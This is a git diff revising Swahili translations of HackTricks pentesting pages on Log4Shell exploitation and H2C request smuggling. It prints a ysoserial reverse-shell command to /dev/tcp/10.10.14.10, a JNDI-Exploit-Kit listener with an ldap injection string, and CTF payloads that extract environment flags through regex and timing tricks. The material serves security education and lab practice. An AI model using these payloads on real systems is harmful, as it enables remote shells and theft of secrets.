java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||||
```
|
```
|
||||||
Tumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuzalisha **viungo vya JNDI** ambapo shambulio litakuwa linasubiri mawasiliano kutoka kwenye mashine zilizo hatarini. Unaweza kutumia **shambulio tofauti ambalo linaweza kuzalishwa moja kwa moja** na JNDI-Exploit-Kit au hata **mizigo yako ya deserialization mwenyewe** (zilizozalishwa na wewe au ysoserial).
|
Tumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuzalisha **viungo vya JNDI** ambapo shambulio litakuwa linasubiri mawasiliano kutoka kwenye mashine zilizo hatarini. Unaweza kutumikia **shambulio tofauti ambalo linaweza kuzalishwa moja kwa moja** na JNDI-Exploit-Kit au hata **mizigo yako ya deserialization mwenyewe** (iliyozalishwa na wewe au ysoserial).
|
||||||
```bash
|
```bash
|
||||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||||
```
|
```
|
||||||
![](<../../.gitbook/assets/image (642) (1) (1).png>)
|
![](<../../.gitbook/assets/image (642) (1) (1).png>)
|
||||||
|
|
||||||
Sasa unaweza kutumia kiungo cha JNDI kilichozalishwa kwa urahisi kudukua udhaifu na kupata **reverse shell** kwa kutuma kwa toleo lenye udhaifu la log4j: **`${ldap://10.10.14.10:1389/generated}`**
|
Sasa unaweza kutumia kiungo cha JNDI kilichozalishwa kwa urahisi kuchexploitisha udhaifu na kupata **reverse shell** kwa kutuma kwa toleo lenye udhaifu la log4j: **`${ldap://10.10.14.10:1389/generated}`**
|
||||||
|
|
||||||
### Kupitisha mfumo
|
### Kupitisha mfumo
|
||||||
```java
|
```java
|
||||||
|
@ -342,28 +349,28 @@ ${${lower:jnd}${lower:${upper:ı}}:ldap://...} //Notice the unicode "i"
|
||||||
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
|
* [https://github.com/Qualys/log4jscanwin](https://github.com/Qualys/log4jscanwin)
|
||||||
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
|
* [https://github.com/hillu/local-log4j-vuln-scanner](https://github.com/hillu/local-log4j-vuln-scanner)
|
||||||
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
|
* [https://github.com/logpresso/CVE-2021-44228-Scanner](https://github.com/logpresso/CVE-2021-44228-Scanner)
|
||||||
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Tafuta maktaba za hatari za ndani
|
* [https://github.com/palantir/log4j-sniffer](https://github.com/palantir/log4j-sniffer) - Pata maktaba zilizo hatarini kwa upande wa ndani
|
||||||
|
|
||||||
### Maabara za Jaribio
|
### Maabara za Jaribio
|
||||||
|
|
||||||
* [**Mashine ya HTB ya LogForge**](https://app.hackthebox.com/tracks/UHC-track)
|
* [**Mashine ya LogForge HTB**](https://app.hackthebox.com/tracks/UHC-track)
|
||||||
* [**Chumba cha Solar cha Jaribio la Try Hack Me**](https://tryhackme.com/room/solar)
|
* [**Jaribio la Chumba cha Solar la Try Hack Me**](https://tryhackme.com/room/solar)
|
||||||
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
* [**https://github.com/leonjza/log4jpwn**](https://github.com/leonjza/log4jpwn)
|
||||||
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
* [**https://github.com/christophetd/log4shell-vulnerable-app**](https://github.com/christophetd/log4shell-vulnerable-app)
|
||||||
|
|
||||||
## Baada ya Kutumia Log4Shell
|
## Baada ya Kutumia Log4Shell
|
||||||
|
|
||||||
Katika [**makala ya CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) hii inaelezea vizuri jinsi inavyoweza **kutumika** kwa **mabaya** baadhi ya vipengele vya **Log4J**.
|
Katika [**makala ya CTF**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/) hii inaelezea vizuri jinsi inavyoweza **kufanyika** kutumia baadhi ya vipengele vya **Log4J**.
|
||||||
|
|
||||||
Ukurasa wa [**usalama**](https://logging.apache.org/log4j/2.x/security.html) wa Log4j una sentensi za kuvutia:
|
Ukurasa wa [**usalama**](https://logging.apache.org/log4j/2.x/security.html) wa Log4j una sentensi za kuvutia:
|
||||||
|
|
||||||
> Kutoka toleo la 2.16.0 (kwa Java 8), **kifaa cha kutafuta ujumbe kimeondolewa kabisa**. **Tafuta katika usanidi bado inafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Utafutaji wa JNDI katika usanidi sasa unahitaji kuwezeshwa kwa uwazi.
|
> Kutoka kwenye toleo la 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Utafutaji kwenye usanidi bado unafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Utafutaji wa JNDI kwenye usanidi sasa unahitaji kuwezeshwa kwa uwazi.
|
||||||
|
|
||||||
> Kutoka toleo la 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **maneno ya kutafuta katika usanidi yanapanuliwa kwa njia ya kurudufu tu**; katika matumizi mengine yoyote, utafutaji wa ngazi ya juu tu unatatuliwa, na utafutaji wowote uliojumuishwa haufanyi kazi.
|
> Kutoka kwenye toleo la 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **maneno ya utafutaji kwenye usanidi yanapanuliwa kwa njia ya kurudufu tu**; katika matumizi mengine yoyote, utafutaji wa ngazi ya juu tu unatatuliwa, na utafutaji wowote ulioingizwa kwa ndani hautatatuliwa.
|
||||||
|
|
||||||
Hii inamaanisha kwamba kwa chaguo-msingi huwezi **kutumia shambulio lolote la `jndi`**. Zaidi ya hayo, ili kufanya **utafutaji wa kurudufu** unahitaji kuwa umeweka mipangilio hiyo.
|
Hii inamaanisha kwamba kwa chaguo-msingi unaweza **kusahau kutumia shambulio la `jndi`**. Zaidi ya hayo, ili kufanya **utafutaji wa kurudufu** unahitaji kuwa umewezesha.
|
||||||
|
|
||||||
Kwa mfano, katika CTF hiyo ilikuwa imepangiliwa katika faili log4j2.xml:
|
Kwa mfano, katika CTF hiyo ilikuwa imeboreshwa kwenye faili log4j2.xml:
|
||||||
```xml
|
```xml
|
||||||
<Console name="Console" target="SYSTEM_ERR">
|
<Console name="Console" target="SYSTEM_ERR">
|
||||||
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
|
<PatternLayout pattern="%d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n">
|
||||||
|
@ -372,31 +379,31 @@ Kwa mfano, katika CTF hiyo ilikuwa imepangiliwa katika faili log4j2.xml:
|
||||||
```
|
```
|
||||||
### Utafutaji wa Mazingira
|
### Utafutaji wa Mazingira
|
||||||
|
|
||||||
Katika [CTF hii](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), muhusika alidhibiti thamani ya `${sys:cmd}` na alihitaji kuchota bendera kutoka kwa mazingira ya pembejeo.\
|
Katika [CTF hii](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), muhusika alidhibiti thamani ya `${sys:cmd}` na alihitaji kuchota bendera kutoka kwa mazingira ya kipekee.\
|
||||||
Kama ilivyoonekana kwenye ukurasa huu katika [**mizigo iliyopita**](jndi-java-naming-and-directory-interface-and-log4shell.md#uthibitisho) kuna njia tofauti za kupata mazingira ya pembejeo, kama vile: **`${env:FLAG}`**. Katika CTF hii hii haikuwa na maana lakini inaweza kuwa na maana katika mazingira mengine halisi.
|
Kama ilivyoonekana kwenye ukurasa huu katika [**mizigo iliyopita**](jndi-java-naming-and-directory-interface-and-log4shell.md#uthibitisho) kuna njia tofauti za kupata mazingira ya kipekee, kama vile: **`${env:FLAG}`**. Katika CTF hii hii haikuwa na maana lakini inaweza kuwa na maana katika mazingira mengine halisi.
|
||||||
|
|
||||||
### Kuchota katika Makosa
|
### Kuchota katika Mifano
|
||||||
|
|
||||||
Katika CTF, haukuweza **kupata stderr** ya programu ya java kutumia log4J, lakini makosa ya Log4J **hutumwa kwa stdout**, ambayo ilichapishwa kwenye programu ya python. Hii ilimaanisha kwamba kwa kusababisha kosa tungeweza kupata maudhui. Kosa la kuchota bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa:
|
Katika CTF, **haukuweza kupata stderr** ya programu ya java kutumia log4J, lakini **makosa ya Log4J huletwa kwa stdout**, ambayo ilichapishwa kwenye programu ya python. Hii ilimaanisha kwamba kwa kusababisha kosa tungeweza kupata maudhui. Kosa la kuchota bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (157).png>)
|
![](<../../.gitbook/assets/image (157).png>)
|
||||||
|
|
||||||
### Mifumo ya Kubadilisha Makosa
|
### Mifano ya Kubadilisha Makosa
|
||||||
|
|
||||||
Tu kutaja, unaweza pia kuingiza [**mifumo mpya ya ubadilishaji**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) na kusababisha makosa ambayo yatakuwa yameandikwa kwenye `stdout`. Kwa mfano:
|
Kwa kumbukumbu tu, unaweza pia kuingiza [**mifano mpya ya ubadilishaji**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) na kusababisha makosa ambayo yataorodheshwa kwa `stdout`. Kwa mfano:
|
||||||
|
|
||||||
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
|
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
|
||||||
|
|
||||||
Hii haikuonekana kuwa na manufaa kuchota tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukuwa umetatuliwa kabla ya mfumo wa ubadilishaji, lakini inaweza kuwa na manufaa kwa mambo mengine kama kugundua.
|
Hii haikuonekana kuwa na manufaa kwa kuchota tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukupatiwa kabla ya mfano wa ubadilishaji, lakini inaweza kuwa na manufaa kwa mambo mengine kama kugundua.
|
||||||
|
|
||||||
### Mifumo ya Kubadilisha Mifumo ya Utafutaji
|
### Mifano ya Kubadilisha Regexes
|
||||||
|
|
||||||
Hata hivyo, ni rahisi kutumia baadhi ya **mifumo ya ubadilishaji inayounga mkono regexes** kuchota habari kutoka kwa utafutaji kwa kutumia regexes na kutumia tabia za **utafutaji wa binary** au **wakati**.
|
Hata hivyo, ni rahisi kutumia baadhi ya **mifano ya ubadilishaji inayounga mkono regexes** kuchota habari kutoka kwa utafutaji kwa kutumia regexes na kutumia tabia za **utafutaji wa binary** au **kulingana na wakati**.
|
||||||
|
|
||||||
* **Utafutaji wa binary kupitia ujumbe wa makosa**
|
* **Utafutaji wa binary kupitia ujumbe wa makosa**
|
||||||
|
|
||||||
Mfumo wa ubadilishaji **`%replace`** unaweza kutumika kubadilisha **maudhui** kutoka kwa **herufi** hata kwa kutumia **regexes**. Inafanya kazi kama hivi: `replace{pattern}{regex}{substitution}`\
|
Mfano wa ubadilishaji **`%replace`** unaweza kutumika kubadilisha **maudhui** kutoka kwa **herufi** hata kutumia **regexes**. Inafanya kazi kama hivi: `replace{pattern}{regex}{substitution}`\
|
||||||
Kwa kufanya tabia hii unaweza kufanya ubadilishaji **kusababisha kosa ikiwa regex ililingana** na kitu chochote ndani ya herufi (na hakuna kosa ikiwa haikupatikana) kama hivi:
|
Kwa kufanya tabia hii unaweza kufanya ubadilishaji **usababishe kosa ikiwa regex ililingana** na kitu chochote ndani ya herufi (na hakuna kosa ikiwa haikupatikana) kama hivi:
|
||||||
```bash
|
```bash
|
||||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||||
|
@ -404,9 +411,9 @@ Kwa kufanya tabia hii unaweza kufanya ubadilishaji **kusababisha kosa ikiwa rege
|
||||||
```
|
```
|
||||||
* **Kulingana na Wakati**
|
* **Kulingana na Wakati**
|
||||||
|
|
||||||
Kama ilivyotajwa katika sehemu iliyopita, **`%replace`** inasaidia **regexes**. Kwa hivyo ni rahisi kutumia mzigo kutoka kwenye [**ukurasa wa ReDoS**](../regular-expression-denial-of-service-redos.md) kusababisha **timeout** ikiwa bendera itapatikana. Kwa mfano, mzigo kama `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` ungechochea **timeout** katika CTF hiyo.
|
Kama ilivyotajwa katika sehemu iliyopita, **`%replace`** inasaidia **regexes**. Kwa hivyo ni rahisi kutumia mzigo kutoka kwenye [**ukurasa wa ReDoS**](../regular-expression-denial-of-service-redos.md) kusababisha **muda wa kusubiri** ikiwa bendera itapatikana. Kwa mfano, mzigo kama `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` ungechochea **muda wa kusubiri** katika CTF hiyo.
|
||||||
|
|
||||||
Katika [**makala hii**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), badala ya kutumia shambulio la ReDoS, ilifanya shambulio la **kuongeza** ili kusababisha tofauti ya wakati katika majibu:
|
Katika [**makala hii**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), badala ya kutumia shambulio la ReDoS, ilifanya shambulio la **kuongeza** ili kusababisha tofauti ya muda katika majibu:
|
||||||
|
|
||||||
> ```
|
> ```
|
||||||
> /%replace{
|
> /%replace{
|
||||||
|
@ -425,9 +432,9 @@ Katika [**makala hii**](https://intrigus.org/research/2022/07/18/google-ctf-2022
|
||||||
> }{#}{######################################################}
|
> }{#}{######################################################}
|
||||||
> ```
|
> ```
|
||||||
>
|
>
|
||||||
> Ikiwa bendera inaanza na `flagGuess`, bendera nzima itabadilishwa na `#` 29 (Nilitumia herufi hii kwa sababu inaweza kuwa sio sehemu ya bendera). **Kila moja ya `#` 29 zinazopatikana kisha zinabadilishwa na `#` 54**. Mchakato huu unarudiwa **mara 6**, ikiongoza kwa jumla ya ` 29*54*54^6* =`` `` `**`96816014208`** **`#`!**
|
> Ikiwa bendera inaanza na `flagGuess`, bendera nzima itabadilishwa na `#` 29 (Nilitumia herufi hii kwa sababu labda haitakuwa sehemu ya bendera). **Kila moja ya `#` 29 zinazopatikana kisha zinabadilishwa na `#` 54**. Mchakato huu unarudiwa **mara 6**, ikiongoza kwa jumla ya ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||||
>
|
>
|
||||||
> Kubadilisha `#` nyingi kutasababisha timeout ya sekunde 10 ya programu ya Flask, ambayo kwa upande wake itasababisha nambari ya hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na `flagGuess`, tutapokea nambari ya hali isiyo ya 500)
|
> Kubadilisha `#` nyingi kutasababisha muda wa sekunde 10 wa programu ya Flask, ambayo kwa upande wake itasababisha nambari ya hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na `flagGuess`, tutapokea nambari ya hali isiyo ya 500)
|
||||||
|
|
||||||
## Marejeo
|
## Marejeo
|
||||||
|
|
||||||
|
@ -440,16 +447,22 @@ Katika [**makala hii**](https://intrigus.org/research/2022/07/18/google-ctf-2022
|
||||||
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
* [https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/)
|
||||||
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
* [https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Kujitahidi Kufanikiwa**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Kuboresha Udukuzi wa Kichwa
|
# Kuboresha Kichwa cha Udukuzi
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -8,35 +8,43 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za udukuzi kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
### Udukuzi wa H2C <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
#### HTTP2 Juu ya Nakala Wazi (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
H2C, au **http2 juu ya nakala wazi**, inatofautiana na kawaida ya mawasiliano ya HTTP ya muda mfupi kwa kuboresha **mawasiliano ya HTTP ya kawaida kuwa moja endelevu**. Uhusiano ulioboreshwa hutumia itifaki ya binary ya http2 kwa mawasiliano yanayoendelea, tofauti na asili ya ombi moja la HTTP ya nakala wazi.
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
Muhimu wa suala la udukuzi linatokea wakati wa matumizi ya **proxy ya kurudisha**. Kawaida, proxy ya kurudisha huprocess na kutuma maombi ya HTTP kwa seva ya nyuma, kurudisha jibu la seva ya nyuma baada ya hapo. Walakini, wakati kichwa cha `Connection: Upgrade` kipo katika ombi la HTTP (mara nyingi huonekana na mawasiliano ya websocket), **proxy ya kurudisha inaendeleza uhusiano endelevu** kati ya mteja na seva, kurahisisha kubadilishana kwa mara kwa mara inayohitajika na itifaki fulani. Kwa mawasiliano ya H2C, kufuata RFC kunahitaji uwepo wa vichwa vitatu maalum:
|
***
|
||||||
|
|
||||||
|
### H2C Smuggling <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||||
|
|
||||||
|
#### HTTP2 Kupitia Nakala Wazi (H2C) <a href="#http2-over-cleartext-h2c" id="http2-over-cleartext-h2c"></a>
|
||||||
|
|
||||||
|
H2C, au **http2 kupitia nakala wazi**, inatofautiana na kawaida ya mawasiliano ya HTTP ya muda mfupi kwa kuboresha **mawasiliano ya HTTP ya kawaida kuwa moja endelevu**. Mawasiliano yaliyoboreshwa hutumia itifaki ya binary ya http2 kwa mawasiliano yanayoendelea, tofauti na asili ya ombi moja la HTTP ya nakala wazi.
|
||||||
|
|
||||||
|
Mizizi ya tatizo la udukuzi inatokea na matumizi ya **proxy ya kurudisha**. Kawaida, proxy ya kurudisha huprocess na kutuma maombi ya HTTP kwa seva ya nyuma, kurudisha jibu la seva ya nyuma baada ya hapo. Walakini, wakati kichwa cha `Connection: Kuboresha` kipo katika ombi la HTTP (mara nyingi huonekana na mawasiliano ya websocket), **proxy ya kurudisha inaendeleza mawasiliano endelevu** kati ya mteja na seva, kurahisisha kubadilishana kwa mara kwa mara inayohitajika na itifaki fulani. Kwa mawasiliano ya H2C, kufuata RFC kunahitaji uwepo wa vichwa vitatu maalum:
|
||||||
```
|
```
|
||||||
Upgrade: h2c
|
Upgrade: h2c
|
||||||
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
HTTP2-Settings: AAMAAABkAARAAAAAAAIAAAAA
|
||||||
Connection: Upgrade, HTTP2-Settings
|
Connection: Upgrade, HTTP2-Settings
|
||||||
```
|
```
|
||||||
Mkazo unatokea wakati, baada ya kuboresha uhusiano, reverse proxy inakoma kusimamia maombi binafsi, ikidhani kazi yake ya kuongoza imekamilika baada ya kuanzisha uhusiano. Kuchexploit H2C Smuggling kuruhusu kuzunguka sheria za reverse proxy zilizotumika wakati wa usindikaji wa maombi, kama vile kuongoza kulingana na njia, uthibitishaji, na usindikaji wa WAF, ikidhani uhusiano wa H2C unafanikiwa kuanzishwa.
|
Mkazo unatokea wakati, baada ya kuboresha uhusiano, reverse proxy inakoma kusimamia maombi binafsi, ikidhani kazi yake ya kuongoza imekamilika baada ya kuanzisha uhusiano. Kuchexploit H2C Smuggling inaruhusu kuzunguka sheria za reverse proxy zilizotumika wakati wa usindikaji wa maombi, kama vile kuongoza kulingana na njia, uthibitishaji, na usindikaji wa WAF, ikidhani uhusiano wa H2C unafanikiwa kuanzishwa.
|
||||||
|
|
||||||
#### Proxies Zenye Udhaifu <a href="#exploitation" id="exploitation"></a>
|
#### Proxies Zenye Udhaifu <a href="#exploitation" id="exploitation"></a>
|
||||||
|
|
||||||
Udhaifu unategemea jinsi reverse proxy inavyoshughulikia vichwa vya `Upgrade` na mara nyingine vichwa vya `Connection`. Proxies zifuatazo kwa asili huziendeleza vichwa hivi wakati wa kuendesha proxy-pass, hivyo kwa asili kuruhusu H2C smuggling:
|
Mkazo unategemea jinsi reverse proxy inavyoshughulikia vichwa vya `Upgrade` na mara nyingine `Connection`. Proxies zifuatazo kwa asili hufikisha vichwa hivi wakati wa kuendesha proxy-pass, hivyo kwa asili kuwezesha H2C smuggling:
|
||||||
|
|
||||||
* HAProxy
|
* HAProxy
|
||||||
* Traefik
|
* Traefik
|
||||||
* Nuster
|
* Nuster
|
||||||
|
|
||||||
Kinyume chake, huduma hizi kwa asili hazitumezi vichwa vyote wakati wa kuendesha proxy-pass. Hata hivyo, zinaweza kuwekwa kwa njia isiyokuwa salama, kuruhusu kutuma vichwa vya `Upgrade` na `Connection` bila kufanyiwa uchujaji:
|
Kinyume chake, huduma hizi kwa asili hazifanyi mbele vichwa vyote wakati wa kuendesha proxy-pass. Hata hivyo, zinaweza kuwekwa kwa njia isiyo salama, kuruhusu mbele bila kufiltriwa vichwa vya `Upgrade` na `Connection`:
|
||||||
|
|
||||||
* AWS ALB/CLB
|
* AWS ALB/CLB
|
||||||
* NGINX
|
* NGINX
|
||||||
|
@ -49,29 +57,29 @@ Kinyume chake, huduma hizi kwa asili hazitumezi vichwa vyote wakati wa kuendesha
|
||||||
|
|
||||||
#### Kuchexploit <a href="#exploitation" id="exploitation"></a>
|
#### Kuchexploit <a href="#exploitation" id="exploitation"></a>
|
||||||
|
|
||||||
Ni muhimu kutambua kwamba si seva zote kwa asili zinatuma vichwa vinavyohitajika kwa ajili ya kuboresha uhusiano wa H2C kwa njia inayofuata sheria. Kwa hivyo, seva kama vile AWS ALB/CLB, NGINX, na Apache Traffic Server, miongoni mwa nyingine, kwa asili zinazuia uhusiano wa H2C. Hata hivyo, ni vyema kujaribu na toleo lisilofuata viwango vya `Connection: Upgrade`, ambavyo havijumuishi thamani ya `HTTP2-Settings` kutoka kwa kichwa cha `Connection`, kwani baadhi ya seva za nyuma hazizingatii viwango.
|
Ni muhimu kutambua kwamba si seva zote kwa asili zinafikisha vichwa vinavyohitajika kwa ajili ya kuboresha uhusiano wa H2C kwa njia inayofuata sheria. Kwa hivyo, seva kama vile AWS ALB/CLB, NGINX, na Apache Traffic Server, miongoni mwa nyingine, kwa asili zinazuia uhusiano wa H2C. Hata hivyo, ni vyema kujaribu na toleo lisilofuata viwango vya `Connection: Upgrade`, ambavyo havijumuishi thamani ya `HTTP2-Settings` kutoka kwa kichwa cha `Connection`, kwani baadhi ya seva za nyuma hazizingatii viwango.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Bila kujali **njia** maalum iliyoteuliwa katika URL ya `proxy_pass` (k.m., `http://backend:9999/socket.io`), uhusiano ulioanzishwa unakuwa kwa chaguo msingi `http://backend:9999`. Hii inaruhusu mwingiliano na njia yoyote ndani ya hatima hiyo, ikiboresha mbinu hii. Hivyo, kutaja njia katika URL ya `proxy_pass` haizuili upatikanaji.
|
Bila kujali **njia** maalum iliyoteuliwa katika URL ya `proxy_pass` (k.m., `http://backend:9999/socket.io`), uhusiano ulioanzishwa unarudi kwa chaguo la msingi la `http://backend:9999`. Hii inaruhusu mwingiliano na njia yoyote ndani ya hatima hiyo, ikilemaza mbinu hii. Hivyo, kutaja njia katika URL ya `proxy_pass` haizuili upatikanaji.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
